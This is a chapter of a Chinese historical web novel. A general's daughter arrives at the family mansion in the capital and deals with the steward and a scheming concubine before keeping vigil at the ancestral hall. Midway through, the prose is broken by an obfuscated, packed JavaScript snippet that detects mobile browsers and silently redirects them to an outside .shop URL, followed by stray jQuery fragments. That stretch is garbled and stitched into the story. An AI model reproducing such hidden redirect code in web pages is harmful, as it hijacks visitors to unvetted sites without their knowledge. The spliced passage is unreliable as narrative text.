常衡被内监引着,前往殿宇边侧房间。进门依次摆放八张书桌,里侧还一张略大些的黄松木桌,其上正挂匾额“学而时习之”。居所就被安置在耳室。极简,只一床榻和木制盥洗用品。
内监放下常衡五套衣衫在旁,重立于常衡面前道:“小的名唤小黎,是跟着御前孙公公当差的。您若有吩咐,尽管差遣小的办!”
常衡伸手摸向衣袖,没找到银两,甚至连钱币都无。面色不觉有些发沉,却不死心,另一只手搭上另一侧袖口。
小内监见状低声说:“常公子,客气了。小黎退下了。”
常衡垂下手臂,愣了片刻坐在床榻上。双臂拄在略微分开的双膝上,心中略有些烦躁。真是过于急躁了些,以致分文未带,更甚之在城门处都未想起,这可如何是好......
马被缰绳勒住,无措的打了半个转,后原地踏了两步才算真的停住。
一个很是磁性的声音响起,陌生的音色。“三小姐。到府门口了。老奴扶您下车。”
车门缓缓打开,照进来好些光亮。原本还算暖和的车厢,一下就凉的刺骨。常苒下意识紧了紧身上披风,缓缓转醒。裹着常衡的披风,但常衡却已不在车内。
一时未动,向外看去。入目的先是那棕马尾轻扫,远处便是人。
好些人。来来往往的穿梭不断。各色人等男女老少皆是显得步履匆忙。
同边境那果真泾渭分明,近一月来,越朝着京城而来,越是见得人多。眼下身处京都,果然那些人行色匆匆,仿佛都要踩到前人一般。
可常苒想着,这京都传闻中如此繁华之地,怎的人等也都穿布衣?正想着,便瞧着那很远的位置,有两名玄色衣衫的人抬着什么似的,横向而过。待再走些,常苒才看清,是轿子。四人抬着的轿子。稳且缓慢的而过。常苒方才觉得,是了。那些平民自是穿布衣,而穿着华衣的,何用自己走路?
那声音再次轻唤:“小姐?”
常苒一甩披风在旁,右手方欲提起素白裙摆起身,便见手边放置的古琴,左手抱琴在怀,右手微提裙摆。低着头,弓着身子,出了车厢。方站车板位置,边上适时支起手臂,便右手虚浮的搭上,缓步迈下马车。
“小姐一路劳累了。”
常苒转头,便见一张同父亲年岁相当的面孔,全不识得。皮肤呈现健康的小麦色。身上穿着黑青色丝绵衣裳。腰间挂一白色布条,垂下来好些。很是显眼。收回搭在那手腕上的手,轻叫一声:“安叔。”
“不敢当。小姐,快进府吧。外头冷,进去烤烤火。”被称作安叔的人,只扯着嘴角苦笑,便引着常苒朝着里头而去。
常苒抬头望去,大门上头黑色牌匾金字上书:智勇将军府。
门边两侧是一幅对联:一生勤为本,万代诚作基。
瞧见常苒的目光。常安立即说道:“老爷当年得蒙圣恩,封为镇南边境的智勇将军时,在京中一时声名鹤立、人人传道。老爷子当时在职,觉得过于招摇,便自行辞请了。本要归还这宅院给朝廷。但上报上去,却惊动了内廷。陛下下旨赐了金字蓝色的常旗和这赤金匾额。”顿了顿又道,“这对联还是之前老爷子在时那副,用来自勉自省。”
常苒嘴角微动。右手提起素白裙摆,跟着常安朝着府宅内而去。
“这京城,是以皇城为地标。东、西、南、北之方位划分为四城之地。老一辈人信风水,坐北朝南。遂建国时,那些达官显贵有头有脸之人大多选址在北城。遂如今,亦是。咱们这府宅,为着是从前老爷子的府宅,在西城区礼仁街中。周围几院也都是谏官。待安稳两日,老奴整理个册子再报小姐,循例拜几位有旧的人家也无妨。那宫城在咱们府宅以偏东北位置。而在朝西数百米,便是买卖之市。虽是用高墙独立圈起,又定着时辰开放。但难免会有众多人来往于前头礼仁街,看着难免罗乱。可大多不会经过咱们这小巷口而过。毕竟这致仕巷,不通互市之地。且......咱们宅院有护院,都是精挑细选之人,安全问题小姐请放心,手脚或许不细,但绝对忠心。”
常苒听到这番话,心下也宽裕些。不由得对眼前之人更加安心。可这又不禁担心起了孤身在宫中的常衡。
“可算回来了。我这是日日盼着呢。”
待迈过门房的矮墙时,突然出现的女声让常苒本能的右手摸上发簪。待看清来人才松懈下来。
眼前女人,千娇百媚,柳叶弯眉,五官小巧,肤白红润,略显圆润饱满却又一副弱柳扶风模样。玫粉色冬衣领口、袖口位置绣的都是硕大的琼花,与绿枝相称更显得娇嫩。“姨娘。”
女子身侧拉着一女孩,同一身淡粉色衣衫,却略显些旧。其上银线有些褪色,但依稀还能看出来绣的是满月,袖口白色花纹点缀。头扎双髻,粉色丝带垂下来些。
“适才听了下人禀报,原是要出府迎你的。”秦燕怡说着便作势拉常苒的手,见常苒双手抱琴便作罢。
常苒只点头示意。
秦燕怡却突哽咽,以帕捂嘴。“好孩子,真是命苦。夫人说走便走了。”
常安一步横在中间,大声打断,再引常苒前行。“三小姐,您的院子云芙阁在后头,老奴引你过去。已挑了几个听话的,日后跟着侍候小姐。请。”
“对。对。可得好好活......”秦燕怡拉着女孩跟在后。
“若是您不喜,这府紧您挑选。若都不中意,在行采买,都使得。”常安连续在旁打断。
秦燕怡碎步到常苒另一侧继续道:“不知道老爷何时回来,那衡儿此次进宫何时回来,那信上都未写分明。你......”
“平川”常安再次大声打断,才又道:“那边,老奴已经送过信了。一切尽都安排妥当,您放心歇息。”
好巧不巧,正好到了云芙阁的院门口。常安挥手,在院子中恭候的众人一道行礼。
正好八人,四个少年、四个女孩。岁数仿佛都和常苒差不多的样子。
其中一位少年向前一步就要迎过来,却是常安道:“芷兰。打今日起你就贴身伺候三小姐。少说多做。先扶着小姐回屋歇息。旁的人都先收拾院子。按之前分派的差事做!无事今日便不要打扰小姐,舟车劳顿了月余,要多养养神。”
“是。”八人一齐应着。那少年便止住了步,并未向前。
“小姐。您先歇息,打的骂的都可。实在不解气便找老奴收拾她们。待稍晚会,老奴派人尚晚膳,再请您。”常安笑着躬身请常苒朝着里头走。
其中名为芷兰的小姑娘从人群中走出来,全程低着头,看不清样貌。瞧着身量极小。仿佛木雕人偶一般走过来要接常苒手中的琴。
常苒下意识向后一躲,身子半拧着,并不叫她碰一下琴。
芷兰的手,在空中顿了顿,也转过身子,朝着院子西边而去。慢步给常苒引着方向。
常安的声音在后响起:“秦姨娘,小姐舟车劳顿,怕是要休息休息呢。您不如带四小姐先回水仙阁吧。”
常苒半转着身子看过去。正看到秦燕怡瞧着常安,发现自己转头,秦燕怡却又笑了。朝着常苒挥动着手道:“你先休息。南境路远,这两个多月的路程,硬是早了一个多月,定是日夜兼程,累坏了。咱们娘三个,有的时辰聊。”转身前再行看了常安一眼,才拉着小女孩出了院子。
瞧着秦燕怡走了,常安也欲离开。手伸进衣襟中,方才递过来的信还未找到机会看。
“安叔。既然姨娘走了,不如进来说吧。”
常安急收回手,回转身子,顿了顿才道:“小姐难道,不稍微歇息会吗?”
“不必。一路颠簸,此刻突然安稳,反而睡不着。”常苒转回身子,迈进房内。
屋内,一应具备。
才进门来,左侧有一极大熏炉,正中便是圆桌,其后靠窗一软塌。朝里头走几步才能见右侧里间是床榻。帷帐和内里被褥都是橙橘色,上绣红枫似被风吹过,仍徐徐下落。床前火盆已燃起,股出阵阵热气。
转过头,屋内左侧置一黑桌,略显低矮。边上立一木绣架。再内里妆台物品却是齐全,小巧首饰盒也显精致,正中一红宝石装饰,硕大得很。边上梳子、小盒内里像是胭脂和珍珠粉之类。却有一块青色长方形黛放在黛砚上。
把古琴放置在空置书桌之上,顺手也把黛砚拿回桌上。
“这书桌还是有年夫人说要回来时置办的。因着未说小姐和少爷是否回来,便只置办了大件而已。如今这些年过去,也并未再行置办。老奴已定了新的,过两日便能送了来替换。”
“无妨。坐吧。”常苒重新走回门口位置,坐在圆桌边。正中的壶颜色极正。伸手触之那茶壶还滚烫的很。握住木节把手才不觉得。整套茶具连带着边上八大盖碗,皆是绿色釉质。其上深绿色枝叶上开满了粉、红色花朵。盛开的重瓣、单瓣、未绽开骨朵,可谓各色各异,无一朵花重样。甚盖碗、碗身都是花纹对应,似那碗口为镜,相互映照。又似一汪春水,相互倒影。
常苒刚提起,芷兰便接下,倒了一杯奉上。不大习惯叫人侍奉,便用手指敲击两下桌面。
芷兰会错了意思,在常苒手边的位置又倒了一杯。
将错就错,把那盖碗杯盏放置在常安一侧,再让:“安叔,请坐。”
常安坐在边上显得十分拘谨。只坐在椅子前端,双手放在腿上。黑青色丝绵衣裳一丝未皱,腰间布条自然垂下。
常苒低头看茶盏里金黄茶汤,徐徐热气,果真好看。端起用双手捧着,左手食指裹在白色绢花手绢内侧,绢布相隔,略显茶碗温热。静看水波纹路,似有似无。缓缓道:“安叔是自小在常家谋事?”
“是。其上两辈子人都在。小姐宽心,日后这府中有老奴,只是为小姐之命听之,敬之。”
常苒用手轻摇晃茶碗。盖子搭在碗托上。同样的质地颜色,崭新的很。
“亲家老爷子这两年身子不大好,还瞒着呢。二老爷一家一直在看顾着。”
常苒轻叹口气,仿羽毛落下。在平川的亲属,说是亲人,其实都很是陌生。同旁人、同书中人物没什么不同,从未见过。忽问:“是在京,设灵堂了吗?”
“是。老爷的意思。说是要大操大办。最好,京中人尽皆知。”
“悠悠众口,众口烁金,便能点石成金了。”常苒放下那茶碗发出清脆的“嘀”的一声,“安叔,我想去祭拜一下。”
“小姐难道不要,休息片刻?”常安迟疑着转头看着里侧床榻,微皱眉头。
“不了。身为子女,自该去的。虽是斋戒时日早过,却仍是该守礼。”说完站起身来。
“小铎!”常安朝外头喊了一声,一男孩走到门口。“引着三小姐去祠堂。”
“是。”
常苒并未换衣,还是那身素白衣裙随小铎而去。常安站起身却并未立即跟随,反同芷兰说:“把床铺换了。秋扫落叶,过于伤感。”说完背手离开。
芷兰嘟着嘴,又朝着门口方向吐舌。拿起那未动过的茶碗,一饮而尽,才去整理床铺。同常苒差不多年纪,一个人换着略显困难,边叹气边换。
常安出了云芙阁,召集府上众人去往祠堂。路上找了处隐秘地看了怀中信纸,再安顿了护送之人。其后,独自进了水仙阁院落。水仙阁后面的寝屋门开着,常安刚好走到院子中能听到里头的说话声。“蕊儿,记住娘方才说的。”
“秦姨娘,四小姐如今也大了。怕是再叫乳名不大好了。老爷之前特意起的名字,已经上了族谱。单字,若。”常安说着已站在门口,正好挡住了那阳光照进屋内。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14263000|150943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>常蕊坐在小椅子上转过头瞧,秦燕怡却是面色稍微有些铁青。咬了咬牙后问道:“何时的事?怎的妾不知呢?”
“早先的事。想是事情繁多,您忘了。”常安回。
“我忘了?我何时知的?”秦燕怡的语气,开始有些不善。
“原先便是如此,这些个关乎少爷、小姐的大事,您还是记得清楚些得好。”常安不急不躁的说。
秦燕怡上下打量常安道:“你怎的进来我这里,不经通传,真是好没规矩。那院中分给我的都是死人不成?”说完朝着外头扫了两眼,才发现一人尽无。
“那您大可以,再换。只不过这院中人,您都换过几遍了。”常安再回。
“几遍?几十遍也不都是听你的?”秦燕怡愤愤的起身,觉得失态重坐下,甚转过了身子,收回目光。只通妆台上摆的铜镜模糊的看着常安。那铜镜并不清晰,连常安的脸都看不清,更看不清那脸上细微的表情。拿起那梳子朝着头上的发髻捋了捋。原本那发髻就十分规整。看常安没有离开的意思,梳子缓缓放下,却仍旧紧拿手中,心中难有平复。
常安目光看向门侧小椅上常若道:“三小姐已经去了祠堂侍奉,按道理您和四小姐也该去的。只是老奴担心,之前同您禀告的话,您全未记住,几次直宣于口。今日人多眼杂,怕是不方便再说。可您是聪明人,自是知道轻重的。后宅之人,与前院可是息息相关。整个府宅,都是一体。四小姐到底是您亲骨肉,您也是常府中人呀。若是万有不当,未听律法便叫那报官者轻判的。”
秦燕怡盯着那镜中的人,可镜中人却转身离去......
常若一把扔了手中布偶。布偶随着劲道出去,在那门槛处一拦,朝着门口的方向翻转趴在地上。百家布缝制,一段段极小的碎布,花色各异,甚至看起来有些诡异。手向后拿起《诗经》摊在眼前,再次看了起来。
秦燕怡指甲在梳尺子上来回滑动,发出极其细微的吱吱的响声,让人忍不住背后发凉。
常若忍不住放下书,小声叫:“娘......”
秦燕怡回转过头,看着常若。那清秀样子,是有些像自己的,只那眉眼有几分常文华的模样,方才看到常芜......唤起了她的记忆,原来她都不大记得他们的模样了。原来他们的孩子,同他们长得那般相像......目光重凝回自己姑娘脸上,还是很欣慰的。这几年也是把姑娘教养成了闺秀的模样。“若......常若......安之若素、泰然自若。很好。以后要有谋算,断不可急躁行事。娘就是当年沉不住气,再等等,便更好了。也不知我在没在,族谱。”
“我不叫常若,我叫常蕊!”常若略嘟一嘟嘴,秀眉微蹙的看着秦燕怡。手中拿着的诗经也卷成卷的拿在手中,“娘以前说过的,我是这将军府中顶重要的人。是这家小姐。三颗心都放在我这!什么若不若,若有若无好不重要!”
“我那时是这般想,可到底......是痴妄。你爹爹这些年也没个书信给我。如今她死了,倒想起来这事了。若真有心,倒是叫那些个人接咱们母女,也一道住过去松快松快呀。这京中的日子,四四方方的一个破院子,尽是不得力的人,不顺心的事,连门都出不去。和坐牢有什么分别。”
常若已低头看起,似乎早习惯了秦燕怡的絮叨。
“还有,适才嘱咐你的便忘了?以后要叫我秦姨娘。娘知道你孝顺。可这大宅院中,是有规矩的。从前她们都不在,你也是小姐。自是没人敢当面说你什么,可日后,新夫人进了门,可是不会好相与的。”秦燕怡止住了话,却是立刻站起身,伸手拉起了常若。
“做什么?”常若不解的问。
“她在祠堂叩拜,你在这清闲,可是不成。你也要去做做样子的好。还要让旁人都瞧着你也尽孝了才好。”
“那祠堂简陋得很,只几个木头牌位,有什么可守着的?我还要一直在那陪着?”
“那是自然。也不能只她孝。”秦燕怡低下身子,捡起布偶。拍拍浮灰。“这可是百家布缝制的。救过你的命。可不能这般丢弃了。”转手把布偶放在边上,拉着常若的手走出屋中。走出院外,四处空荡,朝祠堂方向走去。
这四角的屋子更像是个有门户的亭子。整个常府的奴仆都聚在这,不觉脚步变慢。
常安本在门口跪着,听到声音转头来瞧。
“这是怎一回事?”秦燕怡看着黑压压站着的人。
“三小姐孝心,在祠堂跪着侍奉呢,我等自该一同给夫人守灵。”常安回。
秦燕怡左手向前一拉,便把常若送到前头。“四小姐也是挂心夫人,思念母亲,特意前来守灵。”
常安侧头看了看紧闭着的祠堂门口,却是回头道:“外头冷。四小姐身子娇嫩,不如还是回去吧......”
“这是什么话?”秦燕怡问。
“既如此......去拿个软垫,挪过来两个火盆来。别冻到四小姐。”
有腿脚麻利的不知在哪拿了软垫便放在祠堂门口。火盆也有人去取了,却是一时还未搬过来。
“就跪这里?”常若吃惊的看着那垫子,脏兮兮的不知从哪来的。
“是。祠堂里三小姐在内,吩咐了要禁食不许人打扰。门户都关起了。老奴也劝了,但三小姐孝心致胜......屋内连一个火盆都没留下。”
秦燕怡看了看众人,想是常安不会扯谎。那必是不知跪到何时为止。心中开始寻由头拉着常若回去。
常若走到蒲团前,微提起衣裳,跪下。“火盆我也不要。她既然受的,我也是常家女儿,自也受的。”跪在门头,一阵风吹过,不由得打了个机灵。可身后那么多人似乎都看不到一般只低着头,只秦燕怡忍不住心疼,期望常苒速速出来,甚想去拍门。